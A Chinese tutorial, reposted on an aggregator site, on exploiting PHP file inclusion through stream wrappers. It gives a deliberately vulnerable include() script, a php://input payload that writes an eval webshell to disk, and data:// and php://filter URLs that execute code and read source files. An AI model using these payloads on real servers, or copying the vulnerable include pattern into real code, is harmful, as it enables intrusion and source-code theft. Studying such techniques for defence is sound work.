首页 / PHP / 配合php的伪协议利用文件包含漏洞

配合php的伪协议利用文件包含漏洞

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了配合php的伪协议利用文件包含漏洞，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含739字，纯文字阅读大概需要2分钟。

内容图文

一、php://input

将php代码写到post里进行提交
所用到的源码

<?php
      $file = $_REQUEST['p'];      // 读取p参数传来的值
      include($file);                  // 包含
?>

配合php的伪协议利用文件包含漏洞 - 文章图片

配合写入一句话

<?php
$f = fopen('./webshell.php','w');      // 打开文件
$str = "$_POST['x']";
fwrite($f,"<?php eval($str); ?>");      // 写入文件
fclose($f)      // 关闭文件
?>

配合php的伪协议利用文件包含漏洞 - 文章图片

二、data

http://192.168.0.100:88/include.php?p=data: text/plain,<?php phpinfo();?>
配合php的伪协议利用文件包含漏洞 - 文章图片

三、php://filter

resource 指定某一个文件
http://192.168.0.100:88/include.php?p=php://filter/resource=phpinfo.php
配合php的伪协议利用文件包含漏洞 - 文章图片
我们要想读取PHP源文件可以进行base64编码
我是看这篇文章的

https://blog.csdn.net/qq_29419013/article/details/81201494

http://192.168.0.100:88/include.php?p=php://filter/read=convert.base64-encode/resource=phpinfo.php
配合php的伪协议利用文件包含漏洞 - 文章图片

内容总结

以上是互联网集市为您收集整理的配合php的伪协议利用文件包含漏洞全部内容，希望文章能够帮你解决配合php的伪协议利用文件包含漏洞所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/630332.html

来源：【匿名】